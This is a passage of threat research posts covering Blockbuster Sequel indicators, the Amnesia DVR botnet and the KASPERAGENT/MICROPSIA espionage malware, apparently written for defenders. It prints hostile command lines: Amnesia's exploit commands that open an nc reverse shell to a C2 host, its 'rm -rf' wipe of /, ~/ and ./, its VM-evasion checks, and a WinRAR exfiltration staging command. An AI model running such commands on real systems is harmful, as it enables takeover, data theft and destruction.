Figure 9 The character substitution function from 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 being called

SHA256 Hash	String Interpolation Function	System Library Obfuscation	Fake TLS Communications	Label
032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0	Yes	No	Yes	Initially identified payload
79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18	Yes	Yes	Yes	Sample identified to be related to initial payload and Operation Blockbuster sample
520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18	Yes	Yes	Yes	Known Operation Blockbuster sample

Figure 10: A comparison of features between samples

Final Thought

Overlaps in network protocols, library name obfuscation, process creation string interpolation, and dropped batch file contents demonstrate a clear connection between the recent activity Unit 42 has identified and previously reported threat campaigns. Demonstrated by the malicious document contents, the targets of this new activity are likely Korean speakers, while the attackers are likely English and Korean speakers.

It is unlikely these threat actors will stop attacking their targets. Given the slight changes that have occurred within samples between reports, it is likely this group will continue to develop their tools and skillsets.

Customers using WildFire are protected from these threats and customers using AutoFocus can find samples from this campaign tagged as Blockbuster Sequel.

Indicators of Compromise

Initial Malicious Documents

cec26d8629c5f223a120677a5c7fbd8d477f9a1b963f19d3f1195a7f94bc194b
ff58189452668d8c2829a0e9ba8a98a34482c4f2c5c363dc0671700ba58b7bee

Initial Payload

1322b5642e19586383e663613188b0cead91f30a0ab1004bf06f10d8b15daf65
032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0 (unpacked)

Testing Malicious Documents

90e74b5d762fa00fff851d2f3fad8dc3266bfca81d307eeb749cce66a7dcf3e1

09fc4219169ce7aac5e408c7f5c7bfde10df6e48868d7b470dc7ce41ee360723

d1e4d51024b0e25cfac56b1268e1de2f98f86225bbad913345806ff089508080

040d20357cbb9e950a3dd0b0e5c3260b96b7d3a9dfe15ad3331c98835caa8c63

dfc420190ef535cbabf63436e905954d6d3a9ddb65e57665ae8e99fa3e767316

f21290968b51b11516e7a86e301148e3b4af7bc2a8b3afe36bc5021086d1fab2

1491896d42eb975400958b2c575522d2d73ffa3eb8bdd3eb5af1c666a66aeb08

31e8a920822ee2a273eb91ec59f5e93ac024d3d7ee794fa6e0e68137734e0443

49ecead98ebc750cf0e1c48fccf5c4b07fadef653be034cdcdcd7ba654f713af

5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb

600ddacdf16559135f6e581d41b30d0867aae313fbaf66eb4d18345b2136cdd7

6ccb8a10e253cddd8d4c4b85d19bbb288b56b8174a3f1f2fe1f9151732e1a7da

8b2c44c4b4dc3d7cf1b71bd6fcc37898dcd9573fcf3cb8159add6cb9cfc9651b

9e71d0fdb9874049f310a6ab118ba2559fc1c491ed93c3fd6f250c780e61b6ff

Additional Related Samples

02d74124957b6de4b087a7d12efa01c43558bf6bdaccef9926a022bcffcdcfea

0c5cdbf6f043780dc5fff4b7a977a1874457cc125b4d1da70808bfa720022477

18579d1cc9810ca0b5230e8671a16f9e65b9c9cdd268db6c3535940c30b12f9e

19b23f169606bd390581afe1b27c2c8659d736cbfa4c3e58ed83a287049522f6

1efffd64f2215e2b574b9f8892bbb3ab6e0f98cf0684e479f1a67f0f521ec0fe

440dd79e8e5906f0a73b80bf0dc58f186cb289b4edb9e5bc4922d4e197bce10c

446ce29f6df3ac2692773e0a9b2a973d0013e059543c858554ac8200ba1d09cf

557c63737bf6752eba32bd688eb046c174e53140950e0d91ea609e7f42c80062

5c10b34e99b0f0681f79eaba39e3fe60e1a03ec43faf14b28850be80830722cb

644c01322628adf8574d69afe25c4eb2cdc0bfa400e689645c2ab80becbacc33

6a34f4ce012e52f5f94c1a163111df8b1c5b96c8dc0836ba600c2da84059c6ad

77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976

79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18

8085dae410e54bc0e9f962edc92fa8245a8a65d27b0d06292739458ce59c6ba1

8b21e36aa81ace60c797ac8299c8a80f366cb0f3c703465a2b9a6dbf3e65861e

9c6a23e6662659b3dee96234e51f711dd493aaba93ce132111c56164ad02cf5e

d843f31a1fb62ee49939940bf5a998472a9f92b23336affa7bccfa836fe299f5

dcea917093643bc536191ff70013cb27a0519c07952fbf626b4cc5f3feee2212

dd8c3824c8ffdbf1e16da8cee43da01d43f91ee3cc90a38f50a6cc8d6a778b57

efa2a0bbb69e60337b783db326b62c820b81325d39fb4761c9b575668411e12c

f365a042fbf57ed2fe3fd75b588c46ae358c14441905df1446e67d348bd902bf

f618245e69695f6e985168f5e307fd6dc7e848832bf01c529818cbcfa4089e4a

fa45603334dae86cc72e356df9aa5e21151bb09ffabf86b8dbf5bf42bd2bbadf

fc19a42c423aefb5fdb19b50db52f84e1cbd20af6530e7c7b39435c4c7248cc7

ff4581d0c73bd526efdd6384bc1fb44b856120bc6bbf0098a1fa0de3efff900d

C2 Domains

daedong.or[.]kr
kcnp.or[.]kr
kosic.or[.]kr
wstore[.]lt
xkclub[.]hk

C2 IPv4 Addresses

103.224.82[.]154

180.67.205[.]101

182.70.113[.]138

193.189.144[.]145

199.26.11[.]17

209.105.242[.]64

211.233.13[.]11

211.233.13[.]62

211.236.42[.]52

211.49.171[.]243

218.103.37[.]22

221.138.17[.]152

221.161.82[.]208

23.115.75[.]188

61.100.180[.]9

61.78.63[.]95

80.153.49[.]82

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

New IoT/Linux Malware Targets DVRs, Forms Botnet

Posted on April 6, 2017January 28, 2022 by Claud Xiao

Unit 42 researchers have identified a new variant of the IoT/Linux botnet “Tsunami”, which we are calling “Amnesia”. The Amnesia botnet targets an unpatched remote code execution vulnerability that was publicly disclosed over a year ago in March 2016 in DVR (digital video recorder) devices made by TVT Digital and branded by over 70 vendors worldwide (a listing of which can be found on the original vulnerability report we've linked to). Based on our scan data shown below in Figure 1, this vulnerability affects approximately 227,000 devices around the world with Taiwan, the United States, Israel, Turkey, and India being the most exposed.

Figure 1 Distribution of Vulnerable TVT Digital's DVR devices

In addition, we believe the Amnesia malware is the first Linux malware to adopt virtual machine evasion techniques to defeat malware analysis sandboxes. Virtual machine evasion techniques are more commonly associated with Microsoft Windows and Google Android malware. Similar to those, Amnesia tries to detect whether it’s running in a VirtualBox, VMware or QEMU based virtual machine, and if it detects those environments it will wipe the virtualized Linux system by deleting all the files in file system. This affects not only Linux malware analysis sandboxes but also some QEMU based Linux servers on VPS or on public cloud.

Amnesia exploits this remote code execution vulnerability by scanning for, locating, and attacking vulnerable systems. A successful attack results in Amnesia gaining full control of the device. Attackers could potentially harness the Amnesia botnet to launch broad DDoS attacks similar to the Mirai botnet attacks we saw in Fall 2016.

Even though this vulnerability was disclosed over a year ago, despite our best efforts, we have been unable to find updates that fix this vulnerability.

While the Amnesia botnet hasn’t yet been used to mount large scale attacks, the Mirai botnet attacks show the potential harm large-scale IoT-based botnets can cause. Palo Alto Networks recommends all customers ensure they have our latest protections in place. Additionally, everyone should block traffic to Amnesia’s command and control servers (C2s) listed in Indicators of Compromise (IoC) section of this blog should do so.

Technical Details

Vulnerability Details

On March 22, 2016, security researcher Rotem Kerner disclosed the vulnerability to the public. According to his blog, over 70 DVR vendors around the world were affected by the vulnerability. However, all the DVR devices were manufactured by the same company, “TVT Digital”. To date, we have been unable to find any patch released by the vendors or the manufacturer to address the vulnerability.

Additionally, by using the fingerprint of “Cross Web Server”, we discovered over 227,000 devices exposed on Internet that are likely produced by TVT Digital. We also searched the keyword on Shodan.io and on Censys.io. They reported about 50,000 and about 705,000 IP addresses respectively.

Table 1 shows the top 20 Countries for potentially vulnerable TVT Digital DVR devices:

1.	Taiwan	47170
2.	United States	44179
3.	Israel	23355
4.	Turkey	11780
5.	India	9796
6.	Malaysia	9178
7.	Mexico	7868
8.	Italy	7439
9.	Vietnam	6736
10.	United Kingdom	4402
11.	Russia	3571
12.	Hungary	3529
13.	France	3165
14.	Bulgaria	3040
15.	Romania	2783
16.	Colombia	2616
17.	Egypt	2541
18.	Canada	2491
19.	Iran	1965
20.	Argentina	1748

Table 1 Top 20 Countries for potentially vulnerable TVT DVR Digital Devices

Propagation and Vulnerability Exploitation

Amnesia communicates with its C2 server using the IRC protocol. Figure 2 shows some commands it was designed to receive, including to launch DDoS attacks by different types of HTTP flooding and UDP flooding.

Figure 2 C2 Commands of Amnesia

In addition to these commands, two more commands were implemented: CCTVSCANNER and CCTVPROCS. These commands are used for scanning and exploiting the RCE vulnerability in TVT Digital DVRs. After receiving the commands, Amnesia will firstly make a simple HTTP request to the IP address included with the command, checking whether the target is a vulnerable DVR device. This is done by searching for a special string “Cross Web Server” in the HTTP response content as shown in Figure 3 since the TVT Digital’s DVRs used this string as server name in HTTP header.

Figure 3 Check whether the target is a vulnerable DVR

If a vulnerable DVR is found, Amnesia will send four more HTTP requests which contains exploit payloads of four different shell commands. The commands are:

echo "nc" > f
echo "{one_of_c2_domains}" >> f
echo "8888 –e $SHELL" >> f
$(cat f) & > r

These commands create a shell script file and execute it. The script content connects with one of Amnesia C2 servers and to expose system default shell. Therefore, the infected devices will be compromised and will listen further shell commands sent from C2 servers as shown in Figure 4

Figure 4 Exploit the RCE vulnerability

Anti-Forensics

When an Amnesia sample executes, it will immediately check whether it’s running in a virtual machine by reading files /sys/class/dmi/id/product_name and /sys/class/dmi/id/sys_vendor and comparing the file contents with keywords “VirtualBox”, “VMware” and “QEMU” as shown in Figure 5. These two files are used by Linux DMI (Desktop Management Interface) to store hardware’s product and manufacturer information. These strings being included in the DMI files implies that the Linux system is running in a virtual machine based on VirtualBox, VMware or QEMU, respectively.

Figure 5 Inspects DMI files to detect VM

If a virtual machine was detected, Amnesia will delete itself, and then try to delete all of the following directories:

the Linux root directory “/”,
the current user’s home directory “~/”, and
the current working directory “./”

These delete operations are basically equivalent to wiping the whole Linux system. They were implemented by simply executing shell command “rm -rf” as shown in Figure 6. For each directory, “rm” command will be executed twice – one in the background, and one in the foreground. Hence, the deleting of the three directories will be parallel. Finally, Amnesia will wait for the delete to finish.

Figure 6 Wipe the Linux system

We believe the author of Amnesia was aiming to defeat Linux-based malware analysis sandboxes and to cause trouble for security researchers due to a hard-coded but otherwise useless string in the code: “fxxkwhitehats”. However, VM based sandboxes typically have system snapshot enabled, allowing for quick recovery to the original state (the sample’s analysis task may be ruined though). The impact will be limited in these cases. The real problem is, if the malware infected some QEMU based Linux server instances, such as virtual hosts provided by VPS vendors, the Linux server will also be wiped, which could be catastrophic if back-ups are not available.

After the VM check, Amnesia creates persistence files in /etc/init.d/.rebootime and /etc/cron.daily/.reboottime, or in ~/.bashrc and ~/.bash_history, depending on the current user’s privileges. It then kills all Telnet and SSH related processes, and connects with a C2 server to receive further commands.

Amnesia hard-coded three domain names such as “irc.freenode.net” as decoy C2 server addresses. However, the real C2 configuration is decrypted during runtime by simple Caesar cipher algorithm. It chooses one of these three servers:

ukranianhorseriding[.]net
surrealzxc.co[.]za
inversefierceapplied[.]pw

All three of these domains have resolved to the same IP address 93.174.95[.]38 since December 1^st, 2016. Before that, the IP address was also used to host other IoT/Linux malware such as DropPerl.

Conclusion

Besides the threat that the Amnesia botnet presents, the malware reveals some interesting and notable trends of current IoT/Linux botnet threats:

IoT/Linux malware has begun to adopt classic techniques to evade and even wipe virtual machines.
IoT/Linux malware targets and attacks known remote code execution vulnerabilities in IoT devices. These are typically manufactured by smaller manufacturers and there may be no patch available.
IoT/Linux malware may also affect Linux servers deployed in VPS or in public cloud.

In the case of Amnesia, because the malware relies on hard coded C2 addresses, preventing another Mirai-type attack is possible if these addresses are blocked as broadly as possible as quickly as possible.

Update: After publishing this report, we learned of other researchers’ past work on various aspects of this malware.

As we mentioned in the introduction, the Tsunami bot has a long history, and this latest version incorporated new features, including a scanner to identify and exploit DVRs for CCTV systems as well as Anti-VM detection capabilities. The CCTV scanning and exploitation technique was previously discussed in these two reports.

8ack - Big Brother is attacking you
CyberX – Radiation Report

Researcher Michal Malik also noted this malware had VM detection capabilities in a Tweet in January: https://twitter.com/michalmalik/status/818182119285473282

Protections

Palo Alto Networks has blocked the Domains used by this malware for command and control through PAN-DB and Threat Prevention.

Indicators of Compromise

C2 Domains and IP addresses

ukranianhorseriding[.]net
surrealzxc.co[.]za
inversefierceapplied[.]pw
93.174.95[.]38

Amnesia Sample SHA-256

06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374

10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653

175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575

1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a

2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22

327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e

37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af

3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96

4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54

46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b

4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0

4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8

5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c

64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707

6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3

6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b

885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09

886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0

8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243

9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb

9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2

a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0

ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8

aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a

b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815

b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252

b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545

bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772

c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902

cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483

ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3

d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9

e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082

eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a

f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583

f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16

f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729

f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07

f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA

Posted on April 5, 2017January 28, 2022 by Tomer Bar

This blog is the result of joint research between Unit 42 and Eyal Sela ClearSky Cyber Security.

Over the past few months Palo Alto Networks have been working together with ClearSky on preventing and detecting targeted attacks in the Middle East using two relatively new Microsoft Windows malware families which we call KASPERAGENT and MICROPSIA. In addition, our research has uncovered evidence of links between attacks using these two new malware families and two families of Google Android malware we are calling SECUREUPDATE and VAMP.

We named the first new Microsoft Windows malware family “KASPERAGENT” based on strings we found in the malware. (Note that we DO NOT believe this is a reference to Kaspersky Lab). We named the second new Microsoft Windows malware family MICROPSIA because the malware is very tightly packed making it appear smaller than it is, similar to the human condition micropsia. We named the first new Google Android malware family SECUREUPDATE because it masks its malicious updates a secure updates. We named the second new Google Android malware family VAMP because it’s focused on stealing data.

The attacks are not highly sophisticated, but the themes used, organizations and geographies targeted, as well the persistence of the attacker suggest a determined and noteworthy adversary. Some of this activity has been covered in a recent post by 360 security, however there is still a great deal of extra detail we are able to add in this report.

Starting in March 2016, Palo Alto Networks began monitoring this threat following the successful prevention of the execution of a sample of the KASPERAGENT malware on a customer system, however the malware had likely already been used in attacks as early as July, 2015.

At the time of writing, we have uncovered:

113 samples of the KASPERAGENT malware
94 samples of the MICROPSIA malware
17 samples of Android Malware which are related to this activity.
39 command and control domains registered in relation to this activity

Most of the attacks discovered so far target users in the United States, Israel, Palestinian Territories, and Egypt; although there are occasional outliers. Notable outliers include media organizations in a variety of countries.

This post will begin by exploring how the attackers attempt to gain a foothold into target networks before briefly describing the malware families used.

One Bit.ly at a time

This group of attackers favors using URL shortening services to disguise the true links they are sending in spear phishing emails. In particular, a number of samples we analyzed were linked via the URL shortening service "bit.ly". The URL shortening service then redirects users to the malicious payload hosted on attacker controlled pages, with the malicious payload nearly always contained in an archive file (most commonly a RAR file.) Using the statistics provided by these link-shortening services, we can gain an immediate insight into the targets clicking these links:

Figure 1: The bit.ly statistics for a link to a dropper for the MICROPSIA malware family.

The statistics vary per link, suggesting different target audiences for different waves of spear phishing. For example, the statistics shown in Figure 1 the campaign targeted 113 users in Egypt, whereas in another example shown in Figure 2, Egypt did not make the top 3 countries targeted:

Figure 2: The bit.ly statistics for another link to a copy of the MICROPSIA malware family

FAKE NEWS!

Sending spear phishing emails with direct links to malicious shortened URLs was not the only method employed by the attackers to entice users to install the malware, another method favored by the attackers was the setting up of fake news sites. Figure 3 shows examples of pages created by the attackers to this end.

Figure 3: Two fake new sites with links to shortened malicious URLs.

We are unable to confirm how traffic was driven to these sites, the attackers may have helped drive traffic via fake social media accounts, or they may have sent spear phishing links to these pages.

Malware Analysis: MICROPSIA, KASPERAGENT and the missing link

During our analysis, we discovered two distinct malware families which for the most part leveraged distinct infrastructure with no overlaps, initially leading us to categorize these campaigns separately. Later, we discovered a key link between the two sets of activity which leads us to believe they are related.

The MICROPSIA activity centers around domains registered using the email address adam.swift.2016@gmail[.]com – and no samples of KASPERAGENT talk to these domains. However, one of the domains (drive.acount-manager[.]net) registered by this address was used to host a sample (babf156ede8b5c2e6c961b6ffcccc5eb7a3d283b398370754061613f439d40f9) of KASPERAGENT, causing us to link the two sets of activity.

KASPERAGENT

We have named the most common malware involved in this campaign, KASPERAGENT, due to PDB strings left behind in many samples of the malware. An example of a PDB string left behind is given below:

c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb

1	c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb

This analysis is based on the following file:

SHA256: babd654ef363e0645ce374dd9e2a42afe339c52f1cf17fc2285d8bebd3cfa11e

The file is compressed using the legitimate tool "mpress.exe" and once executed drops the payload to the directory C:\vault\igfxtray.exe which has the SHA256 hash f26caee34184b6a53ecbc0b5ce1f52e17d39af2129561dd6361fb4d4364e2c8b.

The malware also drops a decoy document containing Arabic names and ID numbers to the same folder and displays it to the user.

KASPERAGENT is developed in Microsoft Visual C++ and attempts to disguise itself as a product that does not exist: "Adobe Cinema Video Player". The malware first establishes persistence using the classic method of adding a Run key, using the value "MediaSystem".

The malware connects to a C2 serverhosted on www.mailsinfo[.]net. The C2 server string in the binary is "obfuscated" in the most basic of senses, with the author adding '@' characters between letters and splitting the starting "www.m" to another string.

Figure 4: The Command and Control domain is obfuscated using a basic technique

Most of the samples of KASPERAGENT use "Chrome" as the user agent, but this recent sample uses "OPAERA", possibly a misspelling of “Opera”, the browser.

The malware communicates with the C2 server via HTTP requests and in the most recent samples observed the callbacks are made to PHP scripts whose names relate to towns or navigation. Example URLs used include:

GET request to /dad5/town.php
POST request to /dad5/addCity.php and /dad5/sign.php

Most examples of the malware are nearly identical, and the malware simply acts as a basic reconnaissance tool and downloader for further payloads, however some examples of the malware include extended capabilities beyond that of a simple downloader. Examples of the extended-capability KASPERAGENT samples include:

a52d3e65fe5bbf57bab79b1c5092b66d9650247249b72f667a927f266d09efe6
c9ffb81a97a9458f1fc96f35cd187b1d7311479e77d031586abdc3d426da0859
7f11e0bbc892a97b7c42416c43fe178ebb240939d9dee70c3c598305ce8a2d4f

These extended-capability samples connect to www.stikerscloud[.]com and implement the following additional functionality:

Theft of passwords for Firefox and Chrome browsers
Take screenshots
Recording user keystrokes
Exfiltrate basic environment information such as the username and computer name
Perform arbitrary commands
Enumerate removable drives and copy files of interest to a new folder for exfiltration
Update the malware to a new version
Exfilitrate arbitrary files (zip compressed and encrypted)

It's also worth mentioning that sometimes that both versions of the malware are wrapped in a Microsoft .NET Framework loader which is responsible for deploying the malware and displaying the decoy document. The author (imaginatively) calls this wrapper 'Loader' an example of this is the file is 4c1973278a30d1b4ce206eca63676624d234260758a0674d191d338a02914d23, which contains the PDB string: C:\Users\Yousef\Desktop\MergeFiles\Loader v0\Loader\obj\Release\Loader.pdb

MICROPSIA Analysis

The MICROPSIA malware family is written in Delphi and is an information stealing malware family with a wide range of data theft functionality built in. This analysis is based on the following sample:

SHA256: 6e461a8430f251db38e8911dbacd1e72bce47a89c28956115b702d13ae2b8e3b

We named the malware MICROPSIA because of the way it is often packaged. The malware is often delivered as a RAR, which once extracted contains an EXE, which is further packed using UPX. Once unpacked from UPX, the next level is a further SFX RAR file, which then contains the actual malware files within. This effectively means the initial payload is extremely compressed and appears much smaller than it really is. The final payload contains four legitimate executables as resources:

Two embedded DLLs relating to the OpenSSL library used for traffic encryption.
A copy of a command line version of WinRAR - used for encrypting and compressing the exfiltrated data
The file 'shortcut.exe' from optimumx.com (Creates, modifies or queries Windows shell links)
this is used for persistence by creating a link in the startup folder to the payload.

The malware begins execution by first copying itself to a predefined location, setting up persistence via an LNK file (hence the inclusion of the aforementioned shortcut.exe)

The main capabilities of the malware are as follows:

Logging of keystrokes to a hardcoded text file and exfiltration to a remote server
Capturing screenshots of the infected machines
Searching for files with extensions matching Microsoft Office documents and using WinRAR to archive these prior to exfiltration. Example syntax of the command used is as follows:

"Rar.exe a -r -ep1 -v2500k -hpd58ccc009be55ff172a9039bf35cf270 -ta2016-12-11 ProgramData\Recovery\bin\sys\sysTime\LMth_E E:\*.xls E:\*.doc"

1	"Rar.exe a -r -ep1 -v2500k -hpd58ccc009be55ff172a9039bf35cf270 -ta2016-12-11 ProgramData\Recovery\bin\sys\sysTime\LMth_E E:\.xls E:\.doc"

The value “d58ccc009be55ff172a9039bf35cf27” is used to encrypt exfiltrated documents and appears to be an MD5 hash, but we have not identified a string that maps to this hash.

A side of phishing

Interestingly in some cases the attackers combined an attempt to infect targeted users with malware, with an attempt to steal their credentials via traditional phishing techniques. The attackers sometimes directed users to sites spoofing legitimate services such as Google Drive to download the malware, however first the target users would be asked to fill in their credentials in, giving the attackers two chances to successfully steal target users’ data (via the phish and via the eventual malware infection):

Figure 5: In some cases, users were required to fill in their credentials to download the malware

And there's an APK twist...

Whilst a large number of the domains associated with the adam.swift.2016@gmail[.]com email address are associated with MICROPSIA samples, some have been observed hosting Android apps or acting as C2 domains for Android malware samples. Analysis of these apps shows these are also malicious, and the apps also contain some social engineering tricks to enable installation.

There are two main APK malware families used by the threat actor. The first is a malware family used to gain a foothold on to the device, it is effectively a downloader with no additional functionality and we call this malware SECUREUPDATE.

Figure 6: The applications often pretend to be social applications popular with end users.

In the sample we analyzed (6b4d65abf95cfb3cedd39b217ff0e4ee2229ae32aeda5170f34c5a3b9c5a0f3) the malware used the local calendar to sleep, creating an alarm in the future, at which point the malware would call back to receive an “Update”:

Figure 7: The alarm functionality in the SECUREPDATE malware was used to download and execute a further payload at a later date.

In a similar vein to the ‘a side of phishing’ section, some of the versions of SECUREUPDATE backdoor attempt to steal credentials for users, making them create accounts for these fake apps in addition to the installation of the malware. This technique relies on credential re-use across many accounts but will still yield some success for the attackers:

Figure 8: Some of the apps require users to “Login” giving the attacker the chance to record credentials of victims that may well be reused elsewhere.

The second malware family is a malware family we call VAMP, which is already described in great detail in the blog by 360, VAMP is fully featured with all the capabilities you’d expect from a malware family that resides on a phone. Features of the malware include:

Ability to record calls
Contact theft
Theft of documents stored on the device
Theft of messages

Another outlier in terms of domains registered by adam.swift.2016@gmail[.]com is the domain AppPure[.]info. From the outset, the site appears to be a legitimate page:

Figure 9: The app store created by the attackers which we believe was used to distribute malicious apps.

Although we have been unable to find malicious content hosted on this site, we believe that it is very likely that amongst the many legitimate apps available for download via this store some malicious apps may exist.

Concluding thoughts

Through this campaign there is little doubt that the attackers have been able to gain a great deal of information from their targets. We have been unable to uncover any evidence which allows us to confidently attribute this campaign to any known threat actor at present.

The scale of the campaign in terms of sheer numbers of samples and the maintenance of several differing malware families involved suggests a reasonably sized team and that the campaign is not being perpetrated by a lone wolf, but rather a small team attackers.

The campaign also illustrates that for some targets old tricks remain sufficient to run a successful espionage campaign, including use of URL shortening services, classic phishing techniques as well as using archive files to bypass some simple file checks.

Palo Alto Networks customers are defended from this threat in the following ways:

WildFire and Traps detect all of the malware discussed in this report as malicious.
The C2 domains listed in this report are blocked through Threat Prevention.
AutoFocus customers can monitor this activity by looking at the tags:
VAMP
KASPERAGENT
MICROPSIA
SECUREUPDATE

Appendix A – Associated C2 Domains

mediafreeuploader[.]co[.]uk

appppure[.]net

upload404[.]club

upload999[.]net

upload999[.]com

upload999[.]org

arnani[.]info

al-amalhumandevelopment[.]com

acount-manager[.]net

gooogel-drive[.]com

acount-manager[.]org

acount-manager[.]info

appppure[.]info

stikerscloud[.]com

upload999[.]info

apppure[.]info

mary-crawley[.]com

mydriveweb[.]com

google-support-team[.]com

mavis-dracula[.]com

9oo91e[.]co

useraccountvalidation[.]com

mailsinfo[.]net

acount-manager[.]com

upload202[.]com

upload909[.]net

upload101[.]net

mediauploader[.]me

ran-togomory[.]com

shildon-cooper[.]info

mediauploader[.]info

akashipro[.]com

beauty-dance[.]net

margaery[.]co

go-mail-accounts[.]com

kagami-adam[.]com

kalisi[.]org

kalisi[.]info

cecilia-dobrev[.]com

kalisi[.]xyz

appppure[.]pro

cecilia-gilbert[.]com

gooogel[.]org

feteh-asefa[.]com

Appendix B – Associated Windows Malware Samples

KASPERAGENT

2c8a67f8118b6aef159dd280d5998b1c41edb406a1bc8e3960254a9642b6ae4b

a72178289bb518f9f100b78e56a9425332bf3a5220a6c5abd3d07c669a5d8b25

7fdf2bdc500a8703cceb76a427752ee70164b8283b4df42c5b13ed2124a88dbd

6926f430865bd08b621bd1c6581bfe77db3e9891b14f97d00563770186fc5e74

46b0f586a646e800ab63d1404a08864fb09aca73a13fd22542a9fce038643219

e9050c541859f2fabff6dcd492df02a48dd32d99b1f3e98ef7c14bbb6aa734a2

2709506acdb0c6aba5ce794ceada11b64078f5731b91359cb398bc967cb67eba

fcfe51fd23aadcab5a7878bd59b5354d3491d237b259e230ac51e49306b253c7

1bb2a7a6c271b7e607cf87f2a4003eae1653f304cde104fc0311611cbb96e431

b384ed2a4f484b70786e5ea84ff513d30fe4d068fd76cc214d448f7f1c4329fb

1bbd9498f50259917d737b70a875772f963424f69fb942b86d626283e154cab2

babd654ef363e0645ce374dd9e2a42afe339c52f1cf17fc2285d8bebd3cfa11e

f26caee34184b6a53ecbc0b5ce1f52e17d39af2129561dd6361fb4d4364e2c8b

325c5aa819dbd1596464ec018b9efb5938dbc59ac6a94c459932ef07412bca02

4b77194c47b5abb04b1395955ca25aa0bb63ce796247d22946bc07919c8e1b56

9ae853b1e678926358ac8c1cd583eb2d5968b99c2a16cf34334a22051bb630ec

1184916919ea9790adcd53b60c4bf875e54733e508344ffe6baf10b919a0fd1d

beb05e01b87e1a432b3ef37eb55db723a5a5231872a53ab777d7821358e97574

433d2c8a3e93191d09e11994438ec3413152baf64e26e8d9e43c2d2e056b700c

783486dd30ca43d3a6c6807530c023f61631e4b3e6f2e6c2830b5209ee384e13

2813409822b56ae81f08adcaed29a215b3bef0e4f1cc5a22c7169f9e16a188a0

6eca9aacc7d9ef570bf2521f5a1156825832282650d2d3734d964a834f97b3f4

b8285b66aa42f61de1c43423ea25f8cbe03ebb96d0917c153476e185a5909e57

6c51b3ca96d06cc695de3875f4d31962bb936331a82541ab610f269fec0b0a8c

cd051cb14f118e33a2299925a704a56d89ba92a310f2176a0942ec29babedee6

d5e145bf964b91210b79b25fc92ce19aacacadac14ebeb6f4111b6f4cabfd6c7

98553dacbb2fdd8d655907f29e8ba36265f931fd5c6fe83c4defafc10767d4f0

e1addb50f0fea302317c40017fcdad84e1b8bc0f6d5b3f2609de2a0576ad8f9a

a8825be2145fb5cc25194aa13f5168ac7ede1132632cdeebadfb640d063fc781

ae5625a0fe39b34884cfd33832181392e9cf5157b8070b2e1b3d04c87fb46eec

4eca7eedcb5cfa0f02306774b9ed685a5ffc738669bb90cb5d57dad87a46833b

400c9fa4012a67e88b986d206deb8b10acff3091b6e7c98f0f98ac553ebd021b

c7d2a0803f9d4f9f37d5a0f3a37b97eaa672d4b3c700163847736cb9f91aabad

